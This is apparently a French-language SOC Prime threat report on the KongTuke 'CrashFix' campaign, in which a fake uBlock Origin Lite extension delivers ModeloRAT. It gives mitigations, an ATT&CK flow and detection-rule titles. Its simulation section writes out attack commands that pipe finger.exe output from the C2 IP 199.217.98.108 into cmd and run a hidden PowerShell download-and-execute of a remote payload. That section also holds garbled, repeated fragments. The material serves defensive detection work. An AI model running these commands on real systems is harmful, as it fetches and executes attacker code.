SOC Prime Bias: Critique

21 Jan 2026 19:34

Disséquer CrashFix : Le Nouveau Jouet de KongTuke

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Suivre
Disséquer CrashFix : Le Nouveau Jouet de KongTuke
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

KongTuke a distribué une extension Chrome malveillante, NexShield, imitant uBlock Origin Lite. Une fois installée, elle affiche un avertissement de sécurité « CrashFix » pour simuler un incident de sécurité légitime du navigateur, fait planter le navigateur et contraint l’utilisateur à exécuter une commande PowerShell malveillante copiée dans le presse-papiers. La campagne déploie un RAT Python, ModeloRAT, sur les systèmes joints à un domaine et une chaîne PowerShell à plusieurs étapes sur les hôtes autonomes.

Enquête

Les analystes de Huntress ont examiné le code de l’extension, lié le command-and-control à nexsnield.com et effectué une ingénierie inverse des charges utiles. Ils ont observé l’abus de finger.exe en tant que LOLBin pour récupérer les instructions de l’attaquant, ainsi qu’un DGA qui génère des domaines .top. Pour les environnements sur un domaine, les chercheurs ont identifié un implant Python chiffré en RC4 qui persiste via la clé HKCU Run. Le savoir-faire supplémentaire comprenait des contrôles anti-analyse, contournements de l’AMSI, et des tactiques d’épuisement des ressources destinées à pousser les utilisateurs à une conformité pleine et rapide.

Atténuation

Bloquez l’ID de l’extension Chrome et surveillez les extensions inconnues qui imitent des bloqueurs de publicité populaires. Détectez le beaconing vers nexsnield.com, les IP C2 et les domaines produits par le DGA. Appliquez le contrôle d’exécution pour limiter l’utilisation de LOLBin (y compris finger.exe) et alertez sur les valeurs de clé Run suspectes, en particulier les noms conçus pour ressembler à des logiciels largement utilisés.

Réponse

Alertez sur les installations d’extensions liées à NexShield et corrélez avec les connexions sortantes vers l’infrastructure C2 et DGA identifiée. Isolez les hôtes affectés et collectez les artefacts de l’extension, les clés de registre Run, les tâches programmées et les fichiers déposés. Supprimez la persistance de ModeloRAT, éradiquer les composants étagés de PowerShell, remédiez et validez le point d’extrémité.

graph TB %% Class definitions classDef action fill:#FFEEAA classDef tool fill:#99CCFF classDef malware fill:#FF9999 classDef process fill:#CCFFCC classDef persistence fill:#D9D9D9 classDef operator fill:#FFCC66 content_injection[« <b>Action</b> – <b>T1659 Injection de contenu</b><br/>Une publicité malveillante redirige la victime vers une fausse page du Chrome Web Store proposant une extension malveillante »] class content_injection action software_extension[« <b>Action</b> – <b>T1176 Extensions logicielles</b><br/>Une extension malveillante se faisant passer pour uBlock Origin Lite est installée dans le navigateur »] class software_extension action extension_nexshield[« <b>Outil</b> – <b>Nom</b> : NexShield (extension Chrome malveillante)<br/><b>Description</b> : Fournit la persistance et exécute une logique malveillante supplémentaire »] class extension_nexshield tool user_execution[« <b>Action</b> – <b>T1204.004 Exécution par l’utilisateur</b><br/>L’extension copie une commande PowerShell dans le presse-papiers et la victime l’exécute via Win+R »] class user_execution action powershell_process[« <b>Processus</b> – <b>T1059.001 PowerShell</b><br/>Exécute une commande PowerShell qui télécharge des charges utiles supplémentaires »] class powershell_process process cmd_process[« <b>Processus</b> – <b>T1059.003 Interpréteur de commandes Windows</b><br/>PowerShell invoque cmd.exe pour exécuter des étapes supplémentaires »] class cmd_process process sandbox_evasion[« <b>Action</b> – <b>T1497.002 Évasion de virtualisation/sandbox</b><br/>La charge utile effectue des vérifications approfondies des VM, sandboxes et outils d’analyse »] class sandbox_evasion action dos_exhaustion[« <b>Action</b> – <b>T1499.003 Déni de service du point de terminaison</b><br/>Crée des milliards de ports d’exécution Chrome afin d’épuiser le CPU et la mémoire, provoquant le crash du navigateur »] class dos_exhaustion action event_trigger[« <b>Action</b> – <b>T1546 Exécution déclenchée par événement</b><br/>Utilise l’API Chrome Alarms pour retarder les actions malveillantes de 60 minutes et les répéter toutes les 10 minutes »] class event_trigger action dead_drop[« <b>Action</b> – <b>T1102.001 Résolution Dead Drop via service web</b><br/>Contacte des domaines DGA générés dynamiquement pour récupérer des étapes supplémentaires »] class dead_drop action dga_resolution[« <b>Action</b> – <b>T1568 Résolution dynamique</b><br/>L’algorithme de génération de domaines produit des domaines à rotation hebdomadaire pour le C2 »] class dga_resolution action bidirectional_comm[« <b>Action</b> – <b>T1102.002 Communication bidirectionnelle via service web</b><br/>ModeloRAT échange des commandes et réponses chiffrées via HTTP »] class bidirectional_comm action oneway_comm[« <b>Action</b> – <b>T1102.003 Communication unidirectionnelle via service web</b><br/>Envoie la télémétrie et les données d’installation/mise à jour vers un serveur contrôlé par l’attaquant »] class oneway_comm action encrypted_rc4[« <b>Action</b> – <b>T1573.001 Canal chiffré</b><br/>Le trafic C2 est chiffré à l’aide de la cryptographie symétrique RC4 »] class encrypted_rc4 action obfuscation[« <b>Action</b> – <b>T1027 Fichiers ou informations obfusqués</b><br/>Les charges utiles sont superposées avec des couches de chiffrement Base64, XOR et AES »] class obfuscation action stripped_payload[« <b>Action</b> – <b>T1027.008 Charges utiles épurées</b><br/>Les charges utiles sont épurées et encodées pour échapper à l’analyse »] class stripped_payload action embedded_payload[« <b>Action</b> – <b>T1027.009 Charges utiles intégrées</b><br/>Les charges utiles chiffrées sont chargées directement en mémoire »] class embedded_payload action appcert_dll[« <b>Action</b> – <b>T1546.009 Exécution déclenchée par événement : AppCert DLL</b><br/>La boucle DoS exploite les ports d’exécution Chrome de manière analogue à la technique AppCert DLL »] class appcert_dll action remote_access_tool[« <b>Malware</b> – <b>T1219 Outils d’accès à distance</b><br/>ModeloRAT fournit des capacités complètes d’accès à distance »] class remote_access_tool malware persistence_run[« <b>Action</b> – <b>T1554 Compromission des binaires logiciels de l’hôte</b><br/>L’entrée HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run lance pythonw.exe pour assurer la persistance »] class persistence_run persistence exec_guardrail[« <b>Action</b> – <b>T1480.002 Garde-fous d’exécution</b><br/>Vérifie les exécutions précédentes via des balises UUID afin d’éviter les infections dupliquées »] class exec_guardrail action content_injection –>|leads_to| software_extension software_extension –>|installs| extension_nexshield extension_nexshield –>|provides_persistence| persistence_run extension_nexshield –>|copies_command| user_execution user_execution –>|triggers| powershell_process powershell_process –>|launches| cmd_process powershell_process –>|performs| sandbox_evasion sandbox_evasion –>|allows| powershell_process powershell_process –>|creates| dos_exhaustion dos_exhaustion –>|uses| appcert_dll extension_nexshield –>|sets| event_trigger event_trigger –>|delays| powershell_process powershell_process –>|contacts| dead_drop dead_drop –>|uses| dga_resolution dga_resolution –>|provides| bidirectional_comm bidirectional_comm –>|encrypts_with| encrypted_rc4 bidirectional_comm –>|exchanges_with| remote_access_tool oneway_comm –>|sends_to| encrypted_rc4 powershell_process –>|obfuscates_using| obfuscation obfuscation –>|includes| stripped_payload obfuscation –>|includes| embedded_payload remote_access_tool –>|communicates_via| bidirectional_comm remote_access_tool –>|sends_telemetry| oneway_comm persistence_run –>|creates| exec_guardrail exec_guardrail –>|prevents| persistence_run

Flux d’attaque

Détections

Appel de méthodes .NET suspectes à partir de Powershell (via powershell)

Équipe SOC Prime
21 Jan 2026

Utilisation suspecte de CURL (via cmdline)

Équipe SOC Prime
21 Jan 2026

Nom de fichier court (via cmdline)

Équipe SOC Prime
21 Jan 2026

Possibilité d’opération manuelle ou de script effectuée dans des dossiers inhabituels (via cmdline)

Équipe SOC Prime
21 Jan 2026

Chaînes PowerShell suspectes (via powershell)

Équipe SOC Prime
21 Jan 2026

Appel de fonctions de l’API Windows suspectes depuis Powershell (via powershell)

Équipe SOC Prime
21 Jan 2026

Points de persistance possibles [ASEPs – Hive Software/NTUSER] (via registry_event)

Équipe SOC Prime
21 Jan 2026

Un archive a été extraite dans un répertoire suspect à l’aide de PowerShell (via powershell)

Équipe SOC Prime
21 Jan 2026

Exécution de Python à partir de dossiers suspects (via cmdline)

Équipe SOC Prime
21 Jan 2026

Indicateurs possibles d’obfuscation de PowerShell (via powershell)

Équipe SOC Prime
21 Jan 2026

Possibilité d’énumération du système (via cmdline)

Équipe SOC Prime
21 Jan 2026

Téléchargement ou téléversement via PowerShell (via cmdline)

Équipe SOC Prime
21 Jan 2026

IOC (SourceIP) à détecter : Dissection de CrashFix : Le Nouvel Outil de KongTuke

Règles AI SOC Prime
21 Jan 2026

IOC (HashSha256) à détecter : Dissection de CrashFix : Le Nouvel Outil de KongTuke

Règles AI SOC Prime
21 Jan 2026

IOC (DestinationIP) à détecter : Dissection de CrashFix : Le Nouvel Outil de KongTuke

Règles AI SOC Prime
21 Jan 2026

IOC (Emails) à détecter : Dissection de CrashFix : Le Nouvel Outil de KongTuke

Règles AI SOC Prime
21 Jan 2026

Détecter l’exécution de commande malveillante CrashFix de KongTuke [Création de processus Windows]

Règles AI SOC Prime
21 Jan 2026

Détection de contournement de l’AMSI et suppression des preuves via PowerShell [Windows PowerShell]

Règles AI SOC Prime
21 Jan 2026

Exécution de simulation

Pré-requis : La vérification téléphonique & de référence doit avoir réussi.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

  • Narration de l’attaque & Commandes :
    L’adversaire copie d’abord la finger.exe binaire légitime dans le répertoire temporaire, le renomme en ct.exe, et utilise ensuite une chaîne cmd /c imbriquée pour invoquer le binaire copié avec un argument spécialement conçu qui contacte un serveur C2 distant (199.217.98.108). Le binaire streaming la charge utile vers la ligne de commande, qui est ensuite envoyée dans un second cmd cmd /c puis l'exécuté en utilisant PowerShell pour télécharger une charge utile secondaire via iexet l’exécute immédiatement avec. Toutes les étapes sont effectuées avec une interface utilisateur minimale (. Toutes les étapes sont effectuées avec une interface utilisateur minimale (

     ) pour éviter la détection par utilisateur.
  • 1. Copier finger.exe → %TEMP%ct.exe 2. Exécuter : cmd /c start «  » /min cmd /c « copy %windir%system32finger.exe %temp%ct.exe&%temp%ct.exe confirm@199.217.98.108|cmd » 3. Téléchargement & exécution de la charge utile secondaire via PowerShell : powershell -NoProfile -WindowStyle Hidden -Command « iex (Invoke-WebRequest -Uri ‘http://199.217.98.108/payload.ps1’ -UseBasicParsing).Content » Script de test de régression :

    Le script ci-dessous reproduit la chaîne d'attaque complète sur une machine de test Windows. Exécutez-le dans une session PowerShell avec élévation.
  • Nettoyer les commandes : Supprimez les artefacts et terminez tous les processus persistants créés par le test.

    # Supprimer le ct.exe copié
    Remove-Item -Path "$env:TEMPct.exe" -ErrorAction SilentlyContinue
    
    # Tuez tous les processus cmd.exe ou powershell.exe résiduels lancés par le test (filtrez par ligne de commande spécifique)
    Get-WmiObject Win32_Process |
        Where-Object { $_.CommandLine -match 'finger.exe|199.217.98.108' } |
        ForEach-Object { $_.Terminate() }
    
    # Optionnel : effacez le journal des événements si nécessaire pour la répétition
    # wevlutil cl Security